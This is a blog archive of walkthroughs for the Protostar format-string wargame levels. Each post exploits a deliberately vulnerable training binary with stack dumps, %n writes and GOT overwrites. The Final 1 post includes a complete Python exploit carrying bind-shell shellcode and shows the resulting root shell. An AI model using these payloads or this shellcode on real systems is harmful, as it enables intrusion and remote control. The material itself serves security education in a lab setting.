Showing posts with label format-string. Show all posts
Showing posts with label format-string. Show all posts

Thursday, January 1, 2015

Protostar - Final #1

About:

This level is a remote blind format string level. The ‘already written’ bytes can be variable, and is based upon the length of the IP address and port number. (link)


Source Code:




Solution:

It took me an embarrassingly long time just to find the vulnerable code for this one, but eventually I realized the section that could be exploited is the snprintf call on line 17.

I started out just messing around to try to cause a crash, and the first one I got was this:

root@protostar:/tmp# nc 127.0.0.1 2994
[final1] $ username %n%n%n%n%n%n%n%n%n
[final1] $ login 
root@protostar:/tmp# 

In theory, the steps to get code execution from this point on should be similar to many of the earlier format string vulnerabilities levels. 

The first step is to find how far up the stack our buffer is. (Eventually, we'll want to put an address at the start of the buffer and use that as the address of our write operation.)

We can see the values that the %x's pop off the stack by looking at what's logged in /var/log/syslog:

shell commands:
root@protostar:/tmp# nc 127.0.0.1 2994
[final1] $ username aaaaaaaa%x%x%x%x%x%x%x%x%x%x
[final1] $ login a
login failed

syslog:
Nov 26 17:19:23 (none) final1: Login from 127.0.0.1:34596 as [aaaaaaaa8049ee4804a2a0804a220bffffbd6b7fd7ff4bffffa2869676f4c7266206e31206d6f302e3732] with password [a

It looks like we didn't look far enough up the stack here to reach the initial aaaaa's.

Trying again-

shell commands:
[final1] $ username aaaaaaaa%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x 
[final1] $ login a
login failed

syslog:
root@protostar:/tmp# tail /var/log/syslog
Nov 26 17:20:36 (none) final1: Login from 127.0.0.1:34597 as [aaaaaaaa8049ee4804a2a0804a220bffffbd6b7fd7ff4bffffa2869676f4c7266206e31206d6f302e3732312e302e3534333a61203739615b2073616161612561616125782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578] with password [a]

There it is.

Now let's align them and get ready to put an address in there so we can trigger a targeted write:

root@protostar:/tmp# nc 127.0.0.1 2994
[final1] $ username aXXXX%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
[final1] $ login a
login failed

root@protostar:/tmp# tail /var/log/syslog
[aXXXX8049ee4804a2a0804a220bffffbd6b7fd7ff4bffffa2869676f4c7266206e31206d6f302e3732312e302e3634333a61203230615b207358585858] with password [a]

Ok. The plan the rest of the way will be to get the GOT entry for syslog and overwrite the address stored there with one that points to our shellcode.

First, let's get the address for syslog:

root@protostar:/tmp# objdump -R /opt/protostar/bin/final1  | grep "syslog"
0804a11c R_386_JUMP_SLOT   syslog

Ok, now that we have that, let's start putting together a script that we can eventually turn into one that will trigger the exploit.

#!/usr/bin/env python
#

import socket

HOST = "127.0.0.1"
PORT = 2994

SYSLOG_GOT_ENTRY = "\x1c\xa1\x04\x08"

shellcode = "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80" \
            "\x5b\x5e\x52\x68\xff\x02\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a" \
            "\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0" \
            "\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f" \
            "\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0" \
            "\x0b\xcd\x80"

shellcode = "x"*len(shellcode)  # temporary to find placement in memory

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

msg = s.recv(1024)
print "resp:", msg

to_send = "username X" + "\x1c\xa1\x04\x08" + "\x1e\xa1\x04\x08" + "aa" + shellcode + "%n%n%n%n%n%n" + "\n"

print "sending", to_send
print "len", len(to_send)
s.sendall(to_send)

msg = s.recv(1024)
print "resp:", msg

to_send = "login a\n"
print "sending", to_send
s.sendall(to_send)

msg = s.recv(1024)
print "resp:", msg


to_send = "login a\n"
print "sending", to_send
s.sendall(to_send)

msg = s.recv(1024)
print "resp:", msg


The "aa" before the shellcode was put in to help with alignment. You can see from the following memory scan that, with those two additional characters, the x's are nicely aligned and we're ready to substitute in the real shellcode:

(gdb) x/100x $ebp
0xbffffbb8: 0xbffffc58 0x080499ef 0xbffffbd6 0x08049f24
0xbffffbc8: 0x00000002 0xb7fffab0 0x69676f6c 0x0061206e
0xbffffbd8: 0xa11c5800 0xa11e0804 0x61610804 0x78787878
0xbffffbe8: 0x78787878 0x78787878 0x78787878 0x78787878
0xbffffbf8: 0x78787878 0x78787878 0x78787878 0x78787878
0xbffffc08: 0x78787878 0x78787878 0x78787878 0x78787878
0xbffffc18: 0x78787878 0x78787878 0x78787878 0x78787878
0xbffffc28: 0x78787878 0x78787878 0x36257878 0x36363334
0xbffffc38: 0x35312578 0x31256e24 0x006e2436 0x00000000
0xbffffc48: 0x00000000 0x00000010 0xb7ff1040 0xb7fd7ff4
0xbffffc58: 0xbffffc88 0x08049b04 0x00000004 0x00000000
0xbffffc68: 0x00000000 0xbffffc88 0xb7ec6365 0xb7ff1040
0xbffffc78: 0x00000004 0xb7fd7ff4 0x08049b20 0x00000000
0xbffffc88: 0xbffffd08 0xb7eadc76 0x00000001 0xbffffd34
0xbffffc98: 0xbffffd3c 0xb7fe1848 0xbffffcf0 0xffffffff
0xbffffca8: 0xb7ffeff4 0x08048822 0x00000001 0xbffffcf0
0xbffffcb8: 0xb7ff0626 0xb7fffab0 0xb7fe1b28 0xb7fd7ff4
0xbffffcc8: 0x00000000 0x00000000 0xbffffd08 0x82c9541d
0xbffffcd8: 0xa888020d 0x00000000 0x00000000 0x00000000
0xbffffce8: 0x00000001 0x08048df0 0x00000000 0xb7ff6210
0xbffffcf8: 0xb7eadb9b 0xb7ffeff4 0x00000001 0x08048df0
0xbffffd08: 0x00000000 0x08048e11 0x08049ab9 0x00000001
0xbffffd18: 0xbffffd34 0x08049b20 0x08049b10 0xb7ff1040
0xbffffd28: 0xbffffd2c 0xb7fff8f8 0x00000001 0xbffffe5e
0xbffffd38: 0x00000000 0xbffffe78 0xbffffe8d 0xbffffe94

Now we know if we can get 0xbffffbe4 (the start of the green, above) to be written in the GOT entry for syslog, our shellcode should get executed.

After adjusting the %__x parameters to get the correct number of "bytes written" to trigger the writing of 0xbffffbe4, we end up with the following script:

#!/usr/bin/env python
#

import socket

HOST = "127.0.0.1"
PORT = 2994

SYSLOG_GOT_ENTRY = "\x1c\xa1\x04\x08"

shellcode = "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80" \
            "\x5b\x5e\x52\x68\xff\x02\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a" \
            "\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0" \
            "\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f" \
            "\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0" \
            "\x0b\xcd\x80"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

msg = s.recv(1024)
print "resp:", msg

to_send = "username X" + "\x1c\xa1\x04\x08" + "\x1e\xa1\x04\x08" + "aa" + shellcode + "%64364x%15$n" + "%50203x%16$n" + "\n"

print "sending", to_send
print "len", len(to_send)
s.sendall(to_send)

msg = s.recv(1024)
print "resp:", msg

to_send = "login a\n"
print "sending", to_send
s.sendall(to_send)

msg = s.recv(1024)
print "resp:", msg


to_send = "login a\n"
print "sending", to_send
s.sendall(to_send)

msg = s.recv(1024)

print "resp:", msg

Here, the shellcode was taken from Metasploit and it makes the server bind to port 4444, listen for incoming connections, and give a shell to whatever connects.

After running the Python script, the first thing I noticed was that it doesn't crash (good sign!).

Running netcat to connect to the backdoor port looks like this:

root@protostar:/tmp# nc localhost 4444
ls  (<-- entered by me)
bin
boot
dev
etc
home
initrd.img
lib
live
lost+found
media
mnt
opt
proc
sbin
selinux
srv
sys
tmp
usr
var
vmlinuz
whoami  (<-- entered by me)
root


Monday, December 22, 2014

Protostar - Format #4

About:

format4 looks at one method of redirecting execution in a process. (link)


Source Code:



Solution:

Hmm, this one looks different from format2 and format3 in a couple ways.

First we need to redirect the execution flow (before we were just adjusting the value of a variable in memory). Second, a call to exit is inserted within the vuln code block.

My first thought was to overwrite the saved return address on the stack, but it looks like the exit call will make that fail... the program will jump to exit and terminate before ever returning!

The second thought I had was to overwrite the address saved in the Global Offset Table (GOT) for the exit function. This is what I ended up going with.

First, we'll need to get the address in the GOT where the address for exit is saved:

user@protostar:/opt/protostar/bin$ objdump -TR ./format4

./format4:     file format elf32-i386

DYNAMIC SYMBOL TABLE:
00000000  w   D  *UND*    00000000              __gmon_start__
00000000      DF *UND*    00000000  GLIBC_2.0   fgets
00000000      DF *UND*    00000000  GLIBC_2.0   __libc_start_main
00000000      DF *UND*    00000000  GLIBC_2.0   _exit
00000000      DF *UND*    00000000  GLIBC_2.0   printf
00000000      DF *UND*    00000000  GLIBC_2.0   puts
00000000      DF *UND*    00000000  GLIBC_2.0   exit
080485ec g    DO .rodata    00000004  Base        _IO_stdin_used
08049730 g    DO .bss    00000004  GLIBC_2.0   stdin


DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
080496fc R_386_GLOB_DAT    __gmon_start__
08049730 R_386_COPY        stdin
0804970c R_386_JUMP_SLOT   __gmon_start__
08049710 R_386_JUMP_SLOT   fgets
08049714 R_386_JUMP_SLOT   __libc_start_main
08049718 R_386_JUMP_SLOT   _exit
0804971c R_386_JUMP_SLOT   printf
08049720 R_386_JUMP_SLOT   puts
08049724 R_386_JUMP_SLOT   exit


Ok, so we also need the address of hello, so that we can replace the address for exit with the address for hello:

user@protostar:/opt/protostar/bin$ objdump -t ./format4 | grep "hello"
080484b4 g     F .text    0000001e              hello


Now that we have both of these addresses, we can go ahead with the overwriting....

Same as before, we want to figure out how far up the stack our stdin input is being placed:

user@protostar:/opt/protostar/bin$ python -c "print 'AAAAAAAA' + '%08x.'*10" | ./format4
AAAAAAAA00000200.b7fd8420.bffff614.41414141.41414141.78383025.3830252e.30252e78.252e7838.2e783830.


Got it! Now to zero in on it...

user@protostar:/opt/protostar/bin$ python -c "print 'AAAA' + '%08x.'*4" | ./format4
AAAA00000200.b7fd8420.bffff614.41414141.


And substitute in our target address:

user@protostar:/opt/protostar/bin$ python -c "print '\x24\x97\x04\x08' + '%08x.'*4" | ./format4
$00000200.b7fd8420.bffff614.08049724.


Ok, now let's try what we have so far to make sure we can get the EIP to jump to an address under our control:

user@protostar:/opt/protostar/bin$ python -c "print '\x24\x97\x04\x08' + '%08x.'*3 + '%n'" > /tmp/format4-buffer 

user@protostar:/opt/protostar/bin$ gdb ./format4
GNU gdb (GDB) 7.0.1-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /opt/protostar/bin/format4...done.
(gdb) run < /tmp/format4-buffer
Starting program: /opt/protostar/bin/format4 < /tmp/format4-buffer
$00000200.b7fd8420.bffff5d4.

Program received signal SIGSEGV, Segmentation fault.
0x0000001f in ?? ()

Great! We didn't send it to the right address, but we got it to go to 0x1f in this case.

Now we just need to do a bit of math to figure out how many bytes to print before the %n-- we want it to equal the 0x080484b4 from before:


python -c "print '\x24\x97\x04\x08' + '%44837946x.'*3 + '%n'" | ./format4

code execution redirected! you win


Protostar - Format #3


About:

This level advances from format2 and shows how to write more than 1 or 2 bytes of memory to the process. This also teaches you to carefully control what data is being written to the process memory (link)

Source Code:



Solution:

This one looks very similar to the previous one, except the printf call is in a separate function and the value we need to set target to is much greater than before.

We start out the same way as before, getting the location of target in memory:

user@protostar:/opt/protostar/bin$ objdump -t ./format3 | grep "target"
080496f4 g     O .bss    00000004              target


Then we figure out how far up the stack our input is being placed (same method as before):

user@protostar:/opt/protostar/bin$ python -c "print 'AAAAAAAA' + '%08x.'*10" | ./format3
AAAAAAAA00000000.bffff5d0.b7fd7ff4.00000000.00000000.bffff7d8.0804849d.bffff5d0.00000200.b7fd8420.
target is 00000000 :(

user@protostar:/opt/protostar/bin$ python -c "print 'AAAAAAAA' + '%08x.'*100" | ./format3 
AAAAAAAA00000000.bffff5d0.b7fd7ff4.00000000.00000000.bffff7d8.0804849d.bffff5d0.00000200.b7fd8420.bffff614.41414141.41414141.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.
target is 00000000 :(

There it is!

Now let's zero in on it:

user@protostar:/opt/protostar/bin$ python -c "print 'AAAA' + '%08x.'*11 + '%08x'" | ./format3
AAAA00000000.bffff5d0.b7fd7ff4.00000000.00000000.bffff7d8.0804849d.bffff5d0.00000200.b7fd8420.bffff614.41414141
target is 00000000 :(


Ok, now let's replace the As with our target address and get ready to swap out a %x with a %n to trigger a write:

user@protostar:/opt/protostar/bin$ python -c "print '\xf4\x96\x04\x08' + '%08x.'*11 + '%08x'" | ./format3
?00000000.bffff5d0.b7fd7ff4.00000000.00000000.bffff7d8.0804849d.bffff5d0.00000200.b7fd8420.bffff614.080496f4
target is 00000000 :(


Ok, now let's trigger the write and see what happens:

user@protostar:/opt/protostar/bin$ python -c "print '\xf4\x96\x04\x08' + '%08x.'*11 + '%n'" | ./format3
?00000000.bffff5d0.b7fd7ff4.00000000.00000000.bffff7d8.0804849d.bffff5d0.00000200.b7fd8420.bffff614.
target is 00000067 :(


Looks good! We're hitting the target, but just with the wrong value...

Let's fiddle around with the amount of bytes printed before the %n until we get it set to the right value:

user@protostar:/opt/protostar/bin$ python -c "print '\xf4\x96\x04\x08' + '%1539100x.'*11 + '%n'" | ./format3 | tail -n 1
target is 01025543 :(

user@protostar:/opt/protostar/bin$ python -c "print '\xf4\x96\x04\x08' + ' ' + '%1539100x.'*11 + '%n'" | ./format3 | tail -n 1
you have modified the target :)

There we go!


Protostar - Format #2


About:

This level moves on from format1 and shows how specific values can be written in memory. (link)


Source Code:


Solution:

This one looks very similar to the last one except we now have to write a specific value to target.

Same as before, we can get the address of target with objdump:

user@protostar:/opt/protostar/bin$ objdump -t ./format2 | grep "target"
080496e4 g     O .bss    00000004              target

Now that we have the correct address, let's try what we had from before, except subsituting in the new address for target:

user@protostar:/opt/protostar/bin$ python -c "print '\xe4\x96\x04\x08' + '%08x.'*3 + '%n'" | /opt/protostar/bin/format2
00000200.b7fd8420.bffff5e4.
target is 31 :(

The key to getting it to write the value of your choice is knowing that %n will write the total number of bytes read so far.

If we use the format string "%19x.", this takes up 20 bytes (19 for the value + 1 for the '.' character). If we do that three times + the original 4-byte address, we will have used 64 bytes.

Running that with a %n tagged on the end gives you this:

user@protostar:/opt/protostar/bin$ python -c "print '\xe4\x96\x04\x08' + '%19x.'*3 + '%n'" | /opt/protostar/bin/format2
                200.           b7fd8420.           bffff5e4.
you have modified the target :)


Done!

Protostar - Format #1

About:

This level shows how format strings can be used to modify arbitrary memory locations. (link)


Source Code:



Solution:

To me, this was one of the most mind-blowing challenges so far. It's much less complicated than some others, but I was completely new to format string exploits and the thought that you could write to memory with a printf call still seems bizarre...

To start with, we need to find the addresses of the global variable target.

user@protostar:/opt/protostar/bin$ objdump -t ./format1 | grep "target"
08049638 g     O .bss    00000004              target



Now we need to figure out how to get printf to write to that address.

We can pass that address in at the beginning of our argument, but we still need to figure out a way for the printf to use that address when it decides where to write.

 First let's run it once with "AAAA" at the beginning, and exhaustively print values off the stack until we find our AAAA being printed out:

user@protostar:/opt/protostar/bin$ /opt/protostar/bin/format1 `python -c "print 'AAAAAAAA' +'%08x.'*150"`
AAAAAAAA0804960c.bffff4b8.08048469.b7fd8304.b7fd7ff4.bffff4b8.08048435.bffff699.b7ff1040.0804845b.b7fd7ff4.08048450.00000000.bffff538.b7eadc76.00000002.bffff564.bffff570.b7fe1848.bffff520.ffffffff.b7ffeff4.0804824d.00000001.bffff520.b7ff0626.b7fffab0.b7fe1b28.b7fd7ff4.00000000.00000000.bffff538.72364b5a.5867bd4a.00000000.00000000.00000000.00000002.08048340.00000000.b7ff6210.b7eadb9b.b7ffeff4.00000002.08048340.00000000.08048361.0804841c.00000002.bffff564.08048450.08048440.b7ff1040.bffff55c.b7fff8f8.00000002.bffff67e.bffff699.00000000.bffff990.bffff99e.bffff9b2.bffff9d2.bffff9e5.bffff9ef.bffffedf.bfffff1d.bfffff31.bfffff48.bfffff59.bfffff61.bfffff71.bfffff7e.bfffffae.bfffffcb.00000000.00000020.b7fe2414.00000021.b7fe2000.00000010.1fabfbff.00000006.00001000.00000011.00000064.00000003.08048034.00000004.00000020.00000005.00000007.00000007.b7fe3000.00000008.00000000.00000009.08048340.0000000b.000003e9.0000000c.00000000.0000000d.000003e9.0000000e.000003e9.00000017.00000001.00000019.bffff65b.0000001f.bfffffe1.0000000f.bffff66b.00000000.00000000.00000000.07000000.e5da79a0.c012c6ef.fffbc1f1.698c2496.00363836.00000000.00000000.00000000.6f2f0000.702f7470.6f746f72.72617473.6e69622f.726f662f.3174616d.41414100.41414141.38302541.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.

There it is at the end!

Now we have to make it so that the AAAA is at the very end. We can then replace it with the address of target and replace the %x with a %n (this will make the printf write to that address).

user@protostar:/opt/protostar/bin$ /opt/protostar/bin/format1 `python -c "print '\x38\x96\x04\x08BBB' +'%08x.'*131"`%08x.%08x
8BBB0804960c.bffff518.08048469.b7fd8304.b7fd7ff4.bffff518.08048435.bffff6f0.b7ff1040.0804845b.b7fd7ff4.08048450.00000000.bffff598.b7eadc76.00000002.bffff5c4.bffff5d0.b7fe1848.bffff580.ffffffff.b7ffeff4.0804824d.00000001.bffff580.b7ff0626.b7fffab0.b7fe1b28.b7fd7ff4.00000000.00000000.bffff598.16ec7b87.3cbe4d97.00000000.00000000.00000000.00000002.08048340.00000000.b7ff6210.b7eadb9b.b7ffeff4.00000002.08048340.00000000.08048361.0804841c.00000002.bffff5c4.08048450.08048440.b7ff1040.bffff5bc.b7fff8f8.00000002.bffff6d5.bffff6f0.00000000.bffff990.bffff99e.bffff9b2.bffff9d2.bffff9e5.bffff9ef.bffffedf.bfffff1d.bfffff31.bfffff48.bfffff59.bfffff61.bfffff71.bfffff7e.bfffffae.bfffffcb.00000000.00000020.b7fe2414.00000021.b7fe2000.00000010.1fabfbff.00000006.00001000.00000011.00000064.00000003.08048034.00000004.00000020.00000005.00000007.00000007.b7fe3000.00000008.00000000.00000009.08048340.0000000b.000003e9.0000000c.00000000.0000000d.000003e9.0000000e.000003e9.00000017.00000001.00000019.bffff6bb.0000001f.bfffffe1.0000000f.bffff6cb.00000000.00000000.00000000.b5000000.1d9f7eda.d47c7483.0189c161.6977da08.00363836.00000000.706f2f00.72702f74.736f746f.2f726174.2f6e6962.6d726f66.00317461.08049638.25424242



You can see everything's lined up here to where if we replace the 2nd to last %08x with a %n, we'll trigger a write to the address of target.

$ /opt/protostar/bin/format1 `python -c "print '\x38\x96\x04\x08BBB' +'%08x.'*131"`%08n.%08x
 8BBB0804960c.bffff518.08048469.b7fd8304.b7fd7ff4.bffff518.08048435.bffff6f0.b7ff1040.0804845b.b7fd7ff4.08048450.00000000.bffff598.b7eadc76.00000002.bffff5c4.bffff5d0.b7fe1848.bffff580.ffffffff.b7ffeff4.0804824d.00000001.bffff580.b7ff0626.b7fffab0.b7fe1b28.b7fd7ff4.00000000.00000000.bffff598.5152bf8f.7b00899f.00000000.00000000.00000000.00000002.08048340.00000000.b7ff6210.b7eadb9b.b7ffeff4.00000002.08048340.00000000.08048361.0804841c.00000002.bffff5c4.08048450.08048440.b7ff1040.bffff5bc.b7fff8f8.00000002.bffff6d5.bffff6f0.00000000.bffff990.bffff99e.bffff9b2.bffff9d2.bffff9e5.bffff9ef.bffffedf.bfffff1d.bfffff31.bfffff48.bfffff59.bfffff61.bfffff71.bfffff7e.bfffffae.bfffffcb.00000000.00000020.b7fe2414.00000021.b7fe2000.00000010.1fabfbff.00000006.00001000.00000011.00000064.00000003.08048034.00000004.00000020.00000005.00000007.00000007.b7fe3000.00000008.00000000.00000009.08048340.0000000b.000003e9.0000000c.00000000.0000000d.000003e9.0000000e.000003e9.00000017.00000001.00000019.bffff6bb.0000001f.bfffffe1.0000000f.bffff6cb.00000000.00000000.00000000.da000000.7f46b895.b978575c.a43fafdc.694ce653.00363836.00000000.706f2f00.72702f74.736f746f.2f726174.2f6e6962.6d726f66.00317461..25424242
you have modified the target :)

We're done!



Protostar - Format #0

About:

This level introduces format strings, and how attacker supplied format strings can modify the execution flow of programs. (link)


Source Code:




Solution:

For this one, the sprintf function takes the string we pass in as a command-line argument and prints it out into buffer. Our target above the buffer in memory, so this should be very similar to the buffer-overflow exploits from before.

The key to this one is that sprintf accepts "placeholders" in the form %d, %n, etc. We can select a formatting of one of these placeholders that will expand a single placeholder out into being 64 bytes wide. Whatever comes after this 64-byte placeholder will overwrite the memory above the buffer (in this case, target)

This means if we overwrite target with the target value from the if statement, we should get the printf call to execute:

user@protostar:/opt/protostar/bin$ ./format0 %64d$(python -c "print '\xef\xbe\xad\xde'")
you have hit the target correctly :)


That's it!